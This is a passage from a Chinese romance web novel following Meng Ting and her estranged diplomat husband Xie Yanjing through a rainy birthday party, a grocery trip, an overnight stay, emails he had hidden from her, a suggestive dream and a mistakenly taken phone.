大概是看孟汀好说话,她一下楼,谢贝琳就拉着她一起。 今天晨起时天气还算好,这会儿倒是飘来了几朵乌云。 她今天穿的其实不太适合运动,但是她想着不过是一群小孩子,激烈不到哪里去,便点头同意了。 庄园内的草坪并不是平地,为了美观还设计了一些陡坡和高地,孟汀起初以为自己能应付得了,谁知道这几个小朋友,一个比一个厉害,她不夸张地说,让她们几个代替国足去比赛说不定都不会输成现在这个样子。 故而没过多久,孟汀就认输了,从实战当中退出来当裁判。 她找了个高点的位置坐下来,又是吹哨又是指挥。 一开始确实很像那么回事儿,但中途孟汀不过是回了几条手机消息,这几个小鬼就把球踢得越来越远,和她事先确定好的球门位置相隔了十万八千米。 孟汀只好起身,准备靠近一点儿。 没想到这时候,一只阴沉的天,忽然开始落雨。 起初只是零碎的雨点,落在她的眼睫和头发上,不过两步路的功夫,立刻变得细密了起来,噼里啪啦地砸下来,像是帘幕一般从天上落下来。 草坪上霎时起了一层苍茫的水雾。 不远处,管家已经带着伞跑过来了,但是很明显,他是先去照看几个孩子。 孟汀不太想麻烦别人,直接用手虚虚地遮了下,准备跑回去。 就在这时,头顶忽然覆上一小片阴影,一柄黑色的雨伞撑在她头顶。 抬眸时,看到逆在光中的那张脸。 谢砚京不知什么时候出现在了她的身后。 半明半暗的光影中他清冷不羁,清隽的五官深邃又分明,冷白的手腕撑着黑色伞骨,另一只手则漫不经心地插在西装裤口袋。冷薄的眼皮微微掀起,锐利的目光透过雨雾,直直地打在她的眼底。 孟汀怔了怔,下意识想要转身,还没转成,手腕便被他紧紧攥住。 接着,整个人都被一个难以抵抗的力度揽进怀里。 他的力度实在太大,她根本没来得及反应,半张侧脸便已经贴在了那人的胸膛上。 一瞬间,因为雨汽带来的飘摇风雨,尽数被隔离在她的世界之外。 已经分不清到底是雨声,还是他的心跳声。 第65章 出门前她以为今天会是个好天气,所以穿的单薄了些。 没想到会突如其来下一场雨。 原本冰凉的手被温热的掌心覆盖,由雨汽带来的寒意也被驱散了不少。她承认这样让她好受了不少,但是那么一瞬也就算了,谢砚京却没有丝毫要放开的意思,还以半拥着她的状态,带着她往回走。 谢钰和几天朋友刚刚一直在室内说话,管家将孩子们带回来时,才得知下雨的消息。 赶到门口时,刚好看到这样的一幕。 孟汀纤细单薄的身板被他紧实地拥在怀中,一只手握着她的手臂,另一只则撑着伞,伞身很明显地倾斜着,大部分都挡在孟汀这一边。 谢钰忙过来接应,又赶紧让谢砚京脱了外套,递给管家去处理。 “我没想到会下这么大的雨。” 谢钰认识的几位小太太看到谢砚京进来,都不由自主地站了起来,同他致意。 谢砚京淡淡扫过目光,微微颔首作回应,但未做任何停留,就又回到孟汀身上。 “冷不冷?”漆黑的眼睫垂下来,微皱的眉头克制地敛住平日里那股锋芒和锐利,倒透出几分温柔的意味。 孟汀摇了摇头,雨大部分都淋在他身上,她怎么会冷。 更让她诧异的是,昨晚那场争吵似乎对他没有多大的影响。 跟了他这么多年,孟汀很多时候他不知道他的内心真正所想,但是对他的情绪把控的水平一流。 比如现在,她很确定昨晚的那场争执并没有让他实质上生气,也或许生气,但是已经过了,现在两人更像是处于一种一切都没发生过的状态。 “你怎么来这么晚?”沉默的片刻,孟汀没话找话,随便扯了一句。 谢砚京:“领事馆有点儿事情要处理,耽搁了一会儿。” 孟汀很小声地“哦”了一声,将额前那缕碎发往而后别了下,雪白明艳的一张脸,映在光影后,像是春日摇曳枝头的玉兰花。 “你要嫌弃我来得晚,我下次会早点。” “什么?” 半晌之后孟汀才反应过来他是什么意思,后知后觉发现自己那句话问的本身就有问题。 幸好这时谢贝琳跑了过来,终于打断这场意味不明的对话。 孟汀本以为这样的严肃克己的谢砚京,会让谢贝琳觉得生疏和紧张,没想到小姑娘一点儿也不怕,跑过去先喊了一句姐姐,又对着谢砚京脆生生地喊了句“小叔叔”。 而听到这声“小叔叔”的谢砚京,竟然蹲了下来,张开双臂将小姑娘拥入怀中抱了起来。 平日里那个高高在上的男人,竟然还会抱孩子? 不只是孟汀,连谢钰也觉得有些震惊。 惊讶之余还觉得有些奇怪,明明这么多年谢贝琳都是迟珩屿抱大的,但是为什么她看谢贝琳和迟珩屿,就觉得是树桩子上挂了个考拉,但看谢砚京抱着谢贝琳,就有种很明显的……优雅人夫感? 在心中啧啧两声后,谢钰很快走过去,把谢砚京怀里的谢贝琳给接了过来,好歹谢砚京是客人,刚刚还淋了雨,这会儿不能再继续做苦力了。 谢钰将谢贝琳抱下去的时候,孟汀其实也在怔然之中。两人虽然没有交流,但是她的想法和谢钰如出一辙。 孟汀可以肯定他之前没有抱小孩的经验,但是现在看上去完全没有那种违和感,甚至还有几分……养眼? 更何况,这还是别人的孩子,如果是他自己的小孩…… 孟汀被自己的想法吓了一跳,想不通思绪怎么会绕到这个地方,幸好管家这时候推着蛋糕走了出来,打断了她的思绪。 到了午餐时间,谢贝琳戴着生日帽被簇拥在人群之中,大家一同给她唱了生日歌。 吹完蜡烛分了蛋糕之后x就开饭了。 在场的都是华人,谢钰给大家安排的是中餐,虽然常年往返在京市和伦敦,但是她一直吃不习惯这边的口味,又觉得法餐太磨叽,所以庄园内一直找的是京市的师傅。 小朋友那边是单独一桌,整体风格偏童趣,大人们又是单独一桌,上了一水儿的京州菜。 杏仁山药炖羊肉,酱咸板鸭,清醉花雕大虾,荷叶烤酱肘子,果稞银丝蜜薯,油煎甜糕…… 孟汀跳了十几年的舞,常年如苦行僧般的清律生活,让她对吃饭这种事情要求并不严苛,但是吃了这么长时间的白人饭,再次吃到久违的京州菜,还是很满足的。 唯一美中不足的是,谢钰家用的是西式的餐桌,有些菜对她来说,不太好夹。 比如说最远处的那个水芹菜炒牛肉。 她只能趁着其他人聊得火热时,才总是装作不经意地伸长胳膊夹上一小块。 但饭桌上的话题总是间歇性的,因此谈论声变弱时,孟汀夹菜的频率也跟着变弱了。 此刻孟汀的还在犹豫要不要动筷子呢,一小块牛肉悄无声息地出现在她盘中。 抡起位置,谢砚京其实比她还要偏远一些,但胜在胳膊长,比起她显得游刃有余了许多。 孟汀以为这一次就够了,没想到,后半程,只要她看到却稍稍迟疑的菜,最后都会精准无误的落在她的碗里。 孟汀觉得好尴尬,桌上也不是没有男士,但基本都是以聊天和社交为重。谢砚京也聊天,也社交,但也完全不耽误给孟汀夹菜,不仅如此,还从容自然地不像话,仿佛照顾她就像是呼吸一样自然的事情。 原本在旁人家拘谨的一餐,莫名让她吃得很顺畅,很自然。 这一餐结束之后,生日宴也差不多要告一段路了,大家的司机陆陆续续出现在门口,这样的场合,孟汀就是想不和谢砚京同乘一辆车都不行了。 这已经不知道是多少次上他的车。 孟汀总觉得这和她想象中的生活有些错轨,但也有些无可奈何,比如说她此刻并不能立刻打车车门从上面跳下去,而只能认命地等着他把她送到家门口。 只是行至半途,赵一茜打了个电话过来,问孟汀是不是还在路上,给西西的猫粮又又又吃完了,如果顺路的话,能不能捎几包回来。 赵一茜还说西西常吃的那款猫粮国际版已经上市了,没必要再跑去市中心那家韩国超市,回程路上那家Tesco就有。 如果是孟汀自己回去,她一定会毫不犹豫地答应,但此刻…… 就在她犹犹豫豫时,耳边响起一道清冷的嗓音:“可以去。” 他的声音明明不大,但不知道是不是因为太有特色,对面的赵一茜反而来了一句:“什么?” 孟汀晃了下神,想起昨天两人的聊天内容,连忙提高了下声调说自己可以去,又做贼心虚般地飞快挂了电话。 车子很快便到了超市门口,李叔将车子停稳后,孟汀直接下了车,但她没想到的是,谢砚京竟然也跟着下来了,不仅如此,还从善如流地从门口推了个推车。 孟汀有些疑惑:“买几包猫粮而已,没必要用推车吧?” 只听他不咸不淡地来了句:“你也靠着猫粮过活?” 孟汀:“……” 言外之意无非是要帮她在这里把生活用品补全。 孟汀想起昨天被塞得满满当当的冰箱,不好意思地小声道:“昨天那些已经够了。” 谢砚京却只是示意她往前走:“先看看再说。” 孟汀只好跟在他身边往前走。 没想到逛着逛着还真让她找到了想买的东西,她的洗手液用完了,刚好逛到那个区域,她便驻足了一会儿。 这一排是她常用的品牌,她现在在用的那款味道还行,但因为碱性有点强,用完手有些干,有一个升级款的说是柔和一些,但是价格几乎贵了一倍。 孟汀正在犹豫呢,就见一只大手忽然覆了过来,再一看,贵的那一瓶已经被扔进推车了。 孟汀:“……” 再往后,她又补了一些抽纸,洗衣液之类的生活用品,原本空荡荡的车,除了给西西的猫粮,竟然慢慢地堆了不少东西。 可她进来时明明没觉得自己缺东西啊。 谢砚京不紧不慢地推着车,孟汀则跟在他的身侧,起初她觉得没什么,后来,她才反应过来,这似乎还是第一次和他一起逛超市。 和身旁那些寻常的夫妻一样逛超市。 但别人是幸福美满一起经营着幸福生活,而他们两个是陌生疏离并且即将离婚。 这……正常吗? 孟汀忽然有些焦虑,脑子也在那一瞬间有些凌乱,于是她抱着一种不想让将来的律师有“我在法庭上为你厮杀,你却在背地里和他逛街”的心虚,在谢砚京看水产时,以自己要买零食为借口赶紧走了。 到了零食区孟汀也有些心不在焉,来来回回走了两三趟,都没找到一件想买的东西,直到身后猝不及防响起那道熟悉的声音:“选好了吗?” 孟汀吓了一跳,这才慌张地从手边的立式货架上随便拿了盒她以为是巧克力的东西,往身后的购物车里一扔,“选、选好了。” 原本还想推着车往前走的谢砚京忽然顿住,黑眸沉沉地注视着购物车里的东西。 “怎么了?” “没什么。” 谢砚京收回视线,很快推着购物车走了。 第66章 雨越下越大了。 天空乌云密布,暮霭沉沉,四五点的光景,却像是入了夜。 顺流而下的雨水,在街道上聚成一条条蜿蜒的水迹,地上都是被风雨吹落的枯枝败叶,平日里最不喜欢打伞的伦敦人,也不得不撑起一把把黑色的雨伞,迎风快步而行,想要尽快到达目的地。 谢砚京将买好的两大袋东西放回后备箱,孟汀则一路上小跑着上了车。 车内暖和,安静,明亮,清雅的沉香在鼻尖下浮动,和昏沉的街景,形成了鲜明的对比。 疏疏密密的雨落在车顶,发出低沉凛冽的敲击声。随着车子的开动,雨水铺天盖地而下,连街景都模糊。 不知道是不是这场雨太大,明明隔着窗外,孟汀还是觉得心底像泛起了阵潮湿。 而就在这电光火石间,曾经在谢钰家书房中看照片时产生的疑问,有了答案。 她之所以对隆京大酒店有印象,是因为那年沈玉桢参加曲艺大赛时,安排的住宿地点便是隆京大酒店。 那场比赛的规格很高,主办方配套的酒店档次也高,住进去的第一天,孟汀其实也有过惊喜,只不过后来,她的记忆便被破碎的水晶球,母亲毫不客气的一巴掌,以及她躲在后巷里悄声哭泣的画面占据,很少再想起其他。 现在想来,似乎确实有一对新人的在酒店的礼堂中举办婚礼…… 难不成是谢砚京的小叔叔? 孟汀望着雨中的街景发了会儿呆,又将这个设想否定。 应该没有那么巧合的事情。就算有,她和谢砚京也是擦肩而过的陌生人,没什么交集,更谈不上什么缘分。 因为下雨的缘故,回程的速度比平日里慢了不少,等到了公寓门口,天已经彻底黑了。 两大袋东西,又下着大雨,孟汀也默许了谢砚京帮她拎着东西回了家。 她惦记着西西的口粮,所以换了双鞋就敲开楼下的大门,将猫粮给送了过去,赵一茜道了半天谢,又给她拎了个小蛋糕作为回礼。 再次回到房间时,她发现谢砚京也没闲着,竟然已经开始帮她收拾买回来的那一堆东西了。 她也不是拖延的性格,跟着谢砚京一起分类。 两人一时间都忙碌了起来,直到谢砚京从购物袋里拿出一盒黑色的东西,孟汀准备接手时,谢砚京却将手中的东西按住。 “你平时也会买这种东西吗?”冷白色的灯光下,他的眼眸沉如黑夜,嗓音却很淡。 孟汀皱了下鼻子,没明白他话中的意思。一盒巧克力而已,他这么问是什么意思。 然而,目光在她再一次聚焦时,隐隐出现皲裂的痕迹。 平日里不常见的词汇慢慢在她脑海中查找出本意,然后彻底将她的理智给崩碎。 这哪里是什么巧克力……! 而是一盒超大尺寸的安全套! 孟汀整个人都快崩溃了,触碰到的指尖像是倏然被什么东西烫到,立刻缩了回来,耳尖因为羞赧和局促,红得简直要滴血。 而谢砚京却像是没有注意到她的异常似的,反而拿起来自顾自x地又看了眼,勾起唇,嘴角浮现浅淡笑意,“这么长时间过去了,难为你还记得尺寸。” 孟汀:“……!” 他在说什么鬼话啊! 孟汀也不知道怎么了,脑子在那一瞬间被一种荒唐的急迫所占据,竟然直接上手想要将那东西给抢回来,毁尸灭迹也好,斩草除根也罢,只想让眼前这个东西彻底从眼前消失。 谢砚京却眼疾手快地将东西高高举过头顶,存心逗她似的,说什么也不让她够到。 孟汀气急败坏地踮起脚尖,想要一把夺回来,“这只是个意外……我根本没想……” “意外吗?我看你当时拿的很干脆。”男人漆黑的眼底那抹戏谑的笑意更深了,并且一边说着,一边将手举地更高了。 他本身就长得高,举起手更是孟汀完全接触不到的高度。 孟汀又着急地往上伸了伸手臂,她往前一步,他便往后一步,两人一前一后,没有一个人愿意让步,直到孟汀不小心被脚下的另一个纸袋绊住了脚步,直接往前扑了过去。 谢砚京似乎也没想到会有这一幕,立刻松开手,一瞬间将她扯到自己身前,然后直挺挺地倒在了身后的沙发上。 因此李叔匆忙推开门进来时,看到的便是这样的一幕。 谢砚京双手向后强撑着才没让自己彻底倒下去,孟汀半张脸贴着他的肩膀,一只腿为了保持平衡勾缠着他大腿的位置,身侧,则是一盒被摔得散落出来的,安全套。 李叔:“……” 好像看到了什么不得了的东西。 那一瞬间,他脸上仿佛着了火,当即便捂住了眼睛,急急转过就要离开,恨不得直接离开这个星球生活。 听到推门声的孟汀也清醒过来了,赶紧从谢砚京身旁爬了起来,眼见着转身准备逃离现场的李叔,反而更紧张了,这种说不清道不明的场景往往更加危险。 打破她焦虑的是一道沉稳的男声。 “有事吗?” 说这话时,谢砚京已经完全站起来了。 他理了理衣领,面色如常地绕过孟汀,好像刚刚陷入那场尴尬的,不是他而是别的什么人。 李叔蹲在原地,调整了一下尴尬的表情才转身,无论如何,刚刚的画面对他的冲击还是有些大,此刻看到两个衣衫完整的两个人,才想起自己着急忙慌推门进来的目的。 是他一个在英国留学的小侄女出了点事。 那小姑娘租住的公寓有些偏远,刚好这几天室友回家,一直一个人上下学,没想到竟然被一群小混混给盯上。 小姑娘虽然及时报了警,但因为警方敷衍了事一直没有被重视,直到今天,雨天街道上人少,那群小混混肆无忌惮起来,差点就把人给欺负了。 现在小姑娘和那群小混混都在警局,他父母远在国内,一时赶不过来,所以想让李叔先过去照看一下。 孟汀听到后立刻着急了起来,恨不得也跟着过去帮忙,然而反手就被谢砚京拦下了。 “你直接过去吧,不用管我。”他只是淡声同李叔嘱咐。 李叔则是看了眼孟汀,眼里带了丝歉意:“汀汀小姐,那今晚……” 孟汀哪里还顾得听他后面的话,想也没想就点头同意了。 人身安全是大事儿,还是发生了那样的事情。其实要不是谢砚京拦着孟汀也赶着过去帮忙了,但后知后觉她又理解了谢砚京的意思,这毕竟是别人的隐私,不一定想被外人知道。 而目送着李叔离去后,孟汀才意识到一件更加棘手的事情。 外面下着大雨,李叔碰上的又是那样的事情,没有一个晚上大概回不来,车子又被他开走,那岂不是意味着…… 谢砚京无处可去了。 他不像是会打车的人,孟汀甚至怀疑他手机里根本没有打车软件这种东西。 但是他为什么也没有让她帮忙给他打车的意思? 就在她胡思乱想间,谢砚京已经蹲下来将地上那片“狼藉”给收拾好了,不仅如此,还拿出了自己装在公文包中的电脑,找了个接口,现场办起了公。 看着他忙碌的背影,孟汀才彻底接受这个现实。 他今晚不走了。 …… 雨还在下着,房间内,可以清晰地听到雨点敲打在玻璃上的声音,刚刚覆上一点新绿的梧桐叶在风雨中摇摇欲坠,破碎却**。 两人一个在客厅内,一个在卧室里,紧闭的大门将其分隔成两个完全独立的空间。 至少物理上是这样。 至于心理上…… 孟汀心不在焉地敲着键盘,一篇文献看了又看,半个小时过去,依然没明白综述到底写了什么。 手机的小群里,来自赵一茜和余琳的消息像是雨后春笋般冒了出来。 赵一茜:【汀汀,我好像看到那个帅哥进了你的房门】 赵一茜:【暗中观察.jpg】 余琳:【猫猫吃瓜.jpg】 显然,余琳已经从赵一茜那里得知了谢砚京和孟汀的事情。 孟汀发了个尴尬笑笑的表情包,实话实说:【不是你们想象的那样,今天雨有点大,他司机有点急事需要用车】 赵一茜:【所以就住在你家了?】 余琳:【所以就住在你家了?】 明明只有两个人,却像是排出了十几号人刷屏的意思。 孟汀还没回呢,余琳又道:【多么美好安静的一个雨夜,你懂我意思吧?】 这次换赵一茜跟余琳:【多么美好安静的一个雨夜,你懂我意思吧?】 孟汀:【……】 余倩:【千万不要辜负!】 赵一茜:【千万不要辜负!】 接着,两人又齐刷刷地发了个挥手告别的小表情。 离开的潇洒又决绝,像是给两人关上了房门。 孟汀哭笑不得,这时回应任何表情都显得有些多余,她干脆直接放下手机,选择了摆烂。 而这时,她的邮箱却忽然收到了一条提示。 发信人来自周严,附带文件的大小,显示为1.6GB。 第67章 孟汀显然低估了这个文件的大小,加上公寓里的网速不太快,全部下载下来后,已经过了整整一个小时。 这一个小时内,她也终于强迫自己将手头上那篇文献浏览完了。 下载完的页面弹出一个压缩包,只要将文件解压出来,她就可以知道那些被谢砚京删除的文件到底是什么。 很难描述她此刻的心情,尤其是始作俑者现在还在外面的客厅里办公。 孟汀犹豫了一下,终于还是点开了文件夹。 一封封从前属于她的邮箱里,却从未被她打开的邮件,出现在眼前。 她睁大眼睛,从第一封点开来看。 而越看,她那颗本就不平静的心脏,也跟随着越跳越快。 …… 时间不知道过去了多久,频闪的电子屏照射地她的眼睛已经干涩流泪,但是她还是无法停下看邮件的目光。 很难描述她此刻的心情。 而比起理清现在的思绪,曾经他的一次采访内容,突然浮现在心头。 虽然很不想承认,但说起来,谢砚京在外事部任职的那三年,每一次公开接受的采访,她都会看。 她从新闻报道,文字推送,以及政府的公开简报里,一点点拼凑出他生活和工作的轨迹,再同他寄回来的明信片或者发来的定位一一对应,想象中他到达时的天气,也想象着他留下这些东西的心情。 那是一次亚太地区会议的采访,其中有一位主流媒体的记者,在既定的问题结束之后,竟然颇为大胆地询问起谢砚京的私人生活。 记者借口现场有不少外交官员带了夫人太太参与活动这件事,询问谢砚京什么时候有想法公布自己妻子的身份的想法。 谢砚京的工作作风向来以强硬,严肃著称,这样的问题无疑是在他的禁忌区横跳。 熟悉他风格的不少记者都到抽了一口凉气,但更多的,是对这场对话的极致期待。所有人都想知道,这样的一个人,会怎样对待自己的妻子。 但现实却是这个问题并没有对谢砚京造成困扰,他回答这个问题,和回复其他的问题并无二致。 他阐述自己作为负责人的职责,需要承担的责任,面临的挑战以及接下来的工作计划,最后才轻描淡写地提了一句,他是在各个方面都会受到攻击和伤害的人,他不愿自己的太太承担这样的风险。 大概是那句话太官方,太正式,几乎不掺杂任何的私人感情,孟汀当时听到,并没有多大的感受。 她只觉得那是他在他们两人之间划分的一道清晰的界限,她不越过那道界限,便不会成为他的弱点,也不会成为她的累赘。 直到今天,她看到眼前那些曾经被他删除的文件。 来自这个x国家,和其他国家,不同地区,不同种族的人,因为他发表的言论,出席的活动,公布的一些政策,对他进行全方位的攻击。 再严密的保护也有漏洞,人们把愤怒强加在一切和谢砚京有关的东西上,包括他的妻子。 这里面有无端谩骂,人身攻击,甚至还有危及生命的威胁。 这些本该伤害到孟汀的内容,却全部被他无声地挡在了她的生活之外。 而除了这些攻击她的邮件,另一部分,是穆教授发来的关于手术进展的内容。 只不过,被删掉的,都不是什么好消息。 比如最后一封,也是她误以为谢砚京不让她得知手术进展的那一封。 实际上那封邮件里是一份很复杂难懂的责任事故报告书,通俗地说,是上一个失语小孩子的手术已经进行了,原因是医疗机构腐败而造成的程序性的责任缺失。对方出具了一份很复杂的责任事故报告书,并询问她们的意见。 …… 窗外雨声依旧。 空旷的街道上,偶尔传来汽车的鸣笛声,打开窗时,风夹杂着雨飘入,带着一种历久弥新的潮湿气息。 孟汀望着那些文字,陷入短暂的失神。 很难描述此刻的心情。 他对她的强势和占有欲成了习惯,让她天然性地认为所有的一切都是他的独裁和固执,却从未让她进行更深一层的思索。 从十几岁时就开始淅淅沥沥的那场雨,终于还是一点点变大,她曾经以为躲不过,也躲不开。但好像,她一直是在伞下的那一个。 门被风吹开一条小缝。 轻轻一瞥,便可以看到正在客厅餐桌旁戴着银丝边眼镜处理文件的谢砚京。 虽然两人在一起这么长时间,但是她其实很少看到他戴眼镜的样子。 如峰如峦般的眉目,高而挺拔的鼻梁,再到利落而锋利的下颌线,薄薄的镜框将他那双冷静而敏锐的双眸衬托地更加突出。 白衬衫平整到没有一丝褶皱,纽扣系到最高处,他的目光专注,锋利,又带着很明显的挑剔。 孟汀不知道自己看了多久。也不知道视线停留在何处,忽然间,只见那人停留在锁骨处的手,直接扯开最上面的两颗纽扣。 锁骨以下,结实而流畅的腹肌线条,一下子撞进孟汀的眼中。 于此同时,那双漆黑狭长的双眼微微向下睨了睨,透着毫不经意的恶劣和玩味,分明在说:这样够不够? 孟汀:“……” 门“嘭”地一声被关上,因为邮件心底溢上来的那份感动又被生生塞回心底。 原来他早就注意到了她的目光!! 却一声不吭地像个哑巴!! 最后再给她来上这么一遭!! 简直就是有病!!! 也就是她现在还在婚内没有权利,迟早有一天她要把他告上法庭! 孟汀在心里骂了好半天,可是临睡前,瞥到屏幕上被她一个个叉掉的邮件,又有点骂不动了。 灯被关掉之后,将整个被子都蒙在头上,整个房间陷入了寂静,只听得到屋外的雨声。 孟汀努力想把自己的注意力给拉回来,比如说她在想李叔的小侄女现在到底怎么样了,想知道自己的论文开题能不能顺利通过,想知道这雨到底什么时间能停。 但只要闭上眼,脑海里便是最后一眼看到的分明腹肌和清晰的骨骼。 孟汀喉咙不自然地动了动,翻了个身,烦躁的入睡。 意识越来越模糊,梦境却越来越清晰。 梦中她竟然回到了记忆中的中学时代。 夏日的阳光透过细密的香樟树在地上洒下一片金黄,蝉鸣声如流水般倾泻而下。 梦境前半程她还在练习室里挥汗如雨,后半程却忽然狂奔在了楼道里,像是着急忙慌地去赶一场考试。 眼看着就要迟到了,她却忽然被楼道里负责检查的值日生给拦了下。 严厉的值日生指着她说,她的着装不符合校规,要记下她的名字扣班级量化。 孟汀觉得不可理喻,因为她刚刚还在练习室换好了校服,她从来不会违反校规。 值日生不依不饶,孟汀无奈地扯了扯自己的衣服,这时候,她才惊恐地发现,自己的校服竟然变成了她前几天在酒会上穿过的那条礼服裙。 孟汀欲哭无泪,却又百口难辩。 就在她急的不知所措时,走廊尽头忽然走过来一个人。 那人身形修长又挺拔,无论是款色还是颜色都有些丧心病狂的附中校服穿在他身上,却被他穿成了一幅时尚大片的模样。孟汀觉得很奇怪,明明他是大二生,怎么会出现在他们学校,还穿着他们的校服。 但是值日生却像是认识他一般,甚至在他经过时,还微微颔首致礼。 谢砚京沉默地走过来,和孟汀打了个照面,她那时心中还一阵激动以为他会帮她解释几句,结果他只是一言不发地冷冷淡淡地和她擦肩而过。 下一秒场景切换,她又回到了教室当中。而让她没想到的是,站在讲台上的不是老师,而是谢砚京。 谢砚京却端着平日里那张八风不动的脸,严格又肃穆地强调着纪律和校规,孟汀则穿着那身礼服裙,心有余悸。 讲到最后,教室里除了孟汀竟然再没有其他人,而谢砚京的批评对象,自然成了她一个人:“孟汀,你为什么不听话?” 她在那一瞬间慌了神,紧紧捏着衣袖,脸颊微微发烫,慌张地埋下头,小声道:“我没有。” “那这是什么?”他捏着她裙子一角,冷淡的黑眸像是浸了水,直落落地打在她的眼底。 孟汀忽然觉得好委屈,垂下眼眸,纤长乌黑的长睫覆住潋滟的双眸,看着颇有几分楚楚可怜,“我……我不知道……” “你别问我……” “不知道吗?”冷漠的男声,带着很明显的质问。 “既然如此,脱掉如何?” “什么?”惊慌失措地抬头间,腰腹处忽然被一个力量紧紧一托,接着,她整个人都被端起一样放在了桌子上。 “你自己脱,还是我帮你脱?” 孟汀瞪大眼睛,根本不相信他会说出这样的话,眼眶泛出雾气,红唇嗫嚅着,却无论如何也发不出声音。 谢砚京看她这般,似乎失去了耐心,下一秒,竟然直接上手,撕开了她的裙子,于此同时,最后一层遮掩也被完全扯掉。 再后来,她整个人都仰面躺在了桌子上,明明是不可想象的一幕,画面却变得很柔和。 那人站在被阳光相隔的阴影处,缓慢地动着,清冷端方的一张脸上,却透出了几分纵情恣肆。 耳边响起一阵声音,像是下课的铃声。 她的情绪也被这阵铃声牵扯起来。 一方面她因为这铃声而急切万分,想要他赶紧停下来,一方面又觉得再长一点吧,好像没有到她想象中的那个点。 时间仿佛就这样被拉长,直到孟汀意识到不对劲。 他怎么可以……! 他是收到过她离婚协议书的人,怎么可以这样! 一瞬间的醒悟让她羞愤难当,她立刻紧紧抓住裙子一角,将整个人完整地包裹住,而谢砚京似乎被她的反抗激到,也狠狠抓住了她的裙子,两人就这样僵持了一会儿,直到孟汀睁开眼睛,看到那个刚才还在梦中的人,就在她眼前。 四目相对。 第68章 那一瞬间对孟汀的冲击太大,她吓了一大跳,飞快地扯起被子,将整个脑袋都盖住,像只小猫一样儿将自己缩了起来。 缩完之后她才忽然反应过来。 这是她的房间,她在心虚什么? 因此孟汀只反应了一会儿就将被子一把掀开,确定他不是在她床上而是站在地上后,才皱着鼻子毫不客气地来了句:“你……你来我房间干什么?” 孟汀不知道现在几点,但看眼前谢砚京穿着新换的衬衫,熨帖的西装裤,打的一丝不苟的领带和佩戴整齐的腕表,便知道距离上班时间大概不久了。 “你手机已经响了快半个小时了,你不知道吗?”对上孟汀那审视而警惕的目光,谢砚京皱了皱眉,似乎对她这幅表情有些不满,低沉的声音透着几分难言。 “什么?”听到这,孟汀的神情才稍微缓和了下,下意识地抓了下凌乱的头发,赶紧下了床。 竟然响了半个小时吗? 她的睡眠一向比较轻,怎么可能连续响了半个小时都没知觉呢,明明她一直对声音很敏感。直到拿到手机的那一刻,她才似梦初醒般地意识到,她其实是听到了的。 只不过那时候,梦中她的把这当做了下课铃声。 而没有给回应的原因,是因为她觉得…… 当梦境与现实对接,孟汀几乎是下意识地就红了耳朵,原本坚定责备谢砚京的目光也变得x闪烁不已。 手机临睡前被放在远处的插口充电了,因为前一天是周末,所以她特地将音量调小了,所以在睡梦中变得模糊,但是门外的谢砚京却听得很真切,进来提醒她倒也情有可原。 但是只要想起梦中那一幕她就觉得羞耻,于是抓到手机之后她就毫不客气地指着谢砚京道:“我现在知道了,你能出去了吗?” 谢砚京:“?” 孟汀说完,还没等他反应,直接一把把他推出了房门。 门外的人很明显地怔了一下,似乎还发出了一阵很低的轻哂,但孟汀毫不在意,直接埋头看起了手机。 只是她在房间内没能待多久,便匆匆忙忙地推门而出了。 是医院那边发来的消息。 孟云溪的手术是立法刚刚通过的前沿技术,主刀的大夫也是行业的顶级专家,平日里时间有限,和孟汀沟通的一直是他的助理博士。今天主刀医生刚好有空来医院做讲座,助理博士便通知了孟汀,问她有没有时间过来,说不定有机会和教授面谈。 和助理沟通与主刀大夫沟通还是有区别,这样的机会可遇不可求,稍晚一点儿,怕是就要错过,周一是市区堵车的高峰,李叔车技好,所以她才厚着脸皮想找对方帮个忙。 但到底他是她刚推出来的人。 孟汀咬着唇不知道该如何组织语言,而坐在沙发上的男人则深深地看了她一眼,然后道:“说吧,去哪儿?” 李叔到的速度太快了,以至于孟汀上车的时候还是懵的。 等车子驶出半里地之后,她才后知后觉地问起李叔昨晚的事情。 李叔表情轻松地说事情都解决好了,一情况没有想象中那么严重,因为报警及时,小侄女并没有受到多少实质性的伤害,昨晚已经回去休息了,那几个小混混已经依法被拘捕,等到进一步审理。 孟汀一边听一边点头,但听到最后,发现真正进入脑子里的东西很有限。 她以为自己是想着和大夫沟通的事情才心不在焉,但这么多年过去,她做的了解和调查早已不需要做任何准备。 后来她才恍惚意识到可能是因为昨晚那个梦。 尤其是梦境主人公现在还坐在她旁边的位置。 他穿一身纤尘不染的暗色西装,温莎结系地一丝不苟,温雅端方,斯文绅士,和昨晚梦中的他形成鲜明对比。 其实也不能说是对比,从前和她做时,他也差不多也是这样的神情,也正因此,她才觉得烦躁不已。而且那个梦境是如此的逼真,以至于到现在,孟汀还有些无法直视那个人的眼睛。 胡思乱想了好半天,车子也终于到了目的地,因为心里想着事儿,甚至没和谢砚京打个招呼,就抓起手机下了车。 她是幸运的,刚赶到没多久会议就差不多结束了。 办公室中,助理博士帮孟汀说明了来意,起初孟汀还有些不好意思,但对方听完之后,不仅没有觉得冒犯,反而很乐意和孟汀沟通交流。 她以为十几分钟能结束的碰面,竟然持续了将近一个小时。 交谈的过程中,大夫非常耐心地回答了她提出的担心,甚至还额外提供了一些保障,将她的最后一点儿疑虑也打消。 交谈结束后,孟汀礼貌地同对方道别,同时拿出手机准备看时间。 奇怪的感觉就是这时出现的。 起初她觉得手机的尺寸好像和记忆中不大一样,接着便是捏着手里的质感,直到最后,她想要用指纹解锁时,屏幕提醒她匹配失败。 她怔了一下,这才看清屏保背景是一张陌生的风景照。 她好像……拿错手机了。 她短暂地回忆了一下早上发生的事情,然后将原因确定为自己下车时太匆忙,误把谢砚京的手机当成她自己的给扔进了包里。 …… 两人在手机这件事上一直是不对等关系。 他知道她的密码,甚至还在她的手机上设置了自己的指纹和面容ID,孟汀不热衷于这样的事情,别说是翻进去看一看,要不是今天因为拿错,他的手机她连碰都没有碰过。 因此她现在拿着手上这个东西,和拿着板砖无异。 孟汀攥着手中的东西纠结了一会儿,最终还是决定在求助别人之前先试一下密码。 万一呢。 谢砚京和她用的手机算是同款,这款手机的安全性能比较高,开屏密码试验超过一定的次数便会进入联网报警环节,所以孟汀尝试地很谨慎。 她先试了试他的生日。 系统提示错误。 她又试了些她觉得对他比较有象征性意义的数字。 比如说,他高中的班号,大学的班号,学号的后几位,甚至入职的第一天的日期…… 没想到没有一个是对的。 忙碌了半个小时的孟汀站在原地,秀眉微微蹙起,绝望地垂下手来,绝望的目光中,透着几分疲惫。 